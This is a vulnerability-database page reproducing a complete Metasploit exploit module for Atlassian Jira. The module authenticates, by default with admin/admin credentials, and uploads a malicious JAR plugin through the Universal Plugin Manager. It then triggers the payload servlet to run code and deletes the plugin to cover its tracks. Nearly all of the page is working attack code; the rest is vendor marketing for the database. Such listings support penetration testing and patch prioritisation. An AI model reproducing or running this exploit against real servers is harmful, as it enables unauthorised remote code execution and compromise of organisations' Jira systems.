Lucene search
K

Atlassian Jira Authenticated Upload Code Execution

🗓️ 14 Nov 2018 00:00:00Reported by Alexander GonzalezType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 968 Views

Atlassian Jira Authenticated Upload Code Execution module for executing a payload via Universal Plugin Manager (UPM) with valid login credentials

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::EXE  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Atlassian Jira Authenticated Upload Code Execution',  
'Description' => %q{  
This module can be used to execute a payload on Atlassian Jira via  
the Universal Plugin Manager(UPM). The module requires valid login  
credentials to an account that has access to the plugin manager.  
The payload is uploaded as a JAR archive containing a servlet using  
a POST request against the UPM component. The check command will  
test the validity of user supplied credentials and test for access  
to the plugin manager.  
},  
'Author' => 'Alexander Gonzalez(dubfr33)',  
'License' => MSF_LICENSE,  
'References' =>  
[  
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-windows-system/'],  
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/install-the-atlassian-sdk-on-a-linux-or-mac-system/'],  
['URL', 'https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/']  
],  
'Platform' => %w[java],  
'Targets' =>  
[  
['Java Universal',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'java'  
}  
]  
],  
'DisclosureDate' => 'Feb 22 2018'))  
  
register_options(  
[  
Opt::RPORT(2990),  
OptString.new('HttpUsername', [true, 'The username to authenticate as', 'admin']),  
OptString.new('HttpPassword', [true, 'The password for the specified username', 'admin']),  
OptString.new('TARGETURI', [true, 'The base URI to Jira', '/jira/'])  
])  
end  
  
def check  
login_res = query_login  
if login_res.nil?  
vprint_error('Unable to access the web application!')  
return CheckCode::Unknown  
end  
return CheckCode::Unknown unless login_res.code == 200  
@session_id = get_sid(login_res)  
@xsrf_token = login_res.get_html_document.at('meta[@id="atlassian-token"]')['content']  
auth_res = do_auth  
good_sid = get_sid(auth_res)  
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"  
res = query_upm(good_cookie)  
if res.nil?  
vprint_error('Unable to access the web application!')  
return CheckCode::Unknown  
elsif res.code == 200  
return Exploit::CheckCode::Appears  
else  
vprint_status('Something went wrong, make sure host is up and options are correct!')  
vprint_status("HTTP Response Code: #{res.code}")  
return Exploit::CheckCode::Unknown  
end  
end  
  
def exploit  
unless access_login?  
fail_with(Failure::Unknown, 'Unable to access the web application!')  
end  
print_status('Retrieving Session ID and XSRF token...')  
auth_res = do_auth  
good_sid = get_sid(auth_res)  
good_cookie = "atlassian.xsrf.token=#{@xsrf_token}; #{good_sid}"  
res = query_for_upm_token(good_cookie)  
if res.nil?  
fail_with(Failure::Unknown, 'Unable to retrieve UPM token!')  
end  
upm_token = res.headers['upm-token']  
upload_exec(upm_token, good_cookie)  
end  
  
# Upload, execute, and remove servlet  
def upload_exec(upm_token, good_cookie)  
contents = ''  
name = Rex::Text.rand_text_alpha(8..12)  
  
atlassian_plugin_xml = %Q{  
<atlassian-plugin name="#{name}" key="#{name}" plugins-version="2">  
<plugin-info>  
<description></description>  
<version>1.0</version>  
<vendor name="" url="" />  
  
<param name="post.install.url">/plugins/servlet/metasploit/PayloadServlet</param>  
<param name="post.upgrade.url">/plugins/servlet/metasploit/PayloadServlet</param>  
  
</plugin-info>  
  
<servlet name="#{name}" key="metasploit.PayloadServlet" class="metasploit.PayloadServlet">  
<description>"#{name}"</description>  
<url-pattern>/metasploit/PayloadServlet</url-pattern>  
</servlet>  
  
</atlassian-plugin>  
}  
  
# Generates .jar file for upload  
zip = payload.encoded_jar  
zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)  
  
servlet = MetasploitPayloads.read('java', '/metasploit', 'PayloadServlet.class')  
zip.add_file('/metasploit/PayloadServlet.class', servlet)  
  
contents = zip.pack  
  
boundary = rand_text_numeric(27)  
  
data = "--#{boundary}\r\nContent-Disposition: form-data; name=\"plugin\"; "  
data << "filename=\"#{name}.jar\"\r\nContent-Type: application/x-java-archive\r\n\r\n"  
data << contents  
data << "\r\n--#{boundary}--"  
  
print_status("Attempting to upload #{name}")  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'rest/plugins/1.0/'),  
'vars_get' =>  
{  
'token' => "#{upm_token}"  
},  
'method' => 'POST',  
'data' => data,  
'headers' =>  
{  
'Content-Type' => 'multipart/form-data; boundary=' + boundary,  
'Cookie' => good_cookie.to_s  
}  
}, 25)  
  
unless res && res.code == 202  
print_status("Error uploading #{name}")  
print_status("HTTP Response Code: #{res.code}")  
print_status("Server Response: #{res.body}")  
return  
end  
  
print_status("Successfully uploaded #{name}")  
print_status("Executing #{name}")  
Rex::ThreadSafe.sleep(3)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/metasploit/PayloadServlet'),  
'method' => 'GET',  
'cookie' => good_cookie.to_s  
})  
  
print_status("Deleting #{name}")  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, "rest/plugins/1.0/#{name}-key"),  
'method' => 'DELETE',  
'cookie' => good_cookie.to_s  
})  
end  
  
def access_login?  
res = query_login  
if res.nil?  
fail_with(Failure::Unknown, 'Unable to access the web application!')  
end  
return false unless res && res.code == 200  
@session_id = get_sid(res)  
@xsrf_token = res.get_html_document.at('meta[@id="atlassian-token"]')['content']  
return true  
end  
  
# Sends GET request to login page so the HTTP response can be used  
def query_login  
send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'))  
end  
  
# Queries plugin manager to verify access  
def query_upm(good_cookie)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, 'plugins/servlet/upm'),  
'method' => 'GET',  
'cookie' => good_cookie.to_s  
})  
end  
  
# Queries API for response containing upm_token  
def query_for_upm_token(good_cookie)  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, 'rest/plugins/1.0/'),  
'method' => 'GET',  
'cookie' => good_cookie.to_s  
})  
end  
  
# Authenticates to webapp with user supplied credentials  
def do_auth  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path.to_s, 'login.jsp'),  
'method' => 'POST',  
'cookie' => "atlassian.xsrf.token=#{@xsrf_token}; #{@session_id}",  
'vars_post' => {  
'os_username' => datastore['HttpUsername'],  
'os_password' => datastore['HttpPassword'],  
'os_destination' => '',  
'user_role' => '',  
'atl_token' => '',  
'login' => 'Log+In'  
}  
})  
end  
  
# Finds SID from HTTP response headers  
def get_sid(res)  
if res.nil?  
return '' if res.blank?  
end  
res.get_cookies.scan(/(JSESSIONID=\w+);*/).flatten[0] || ''  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation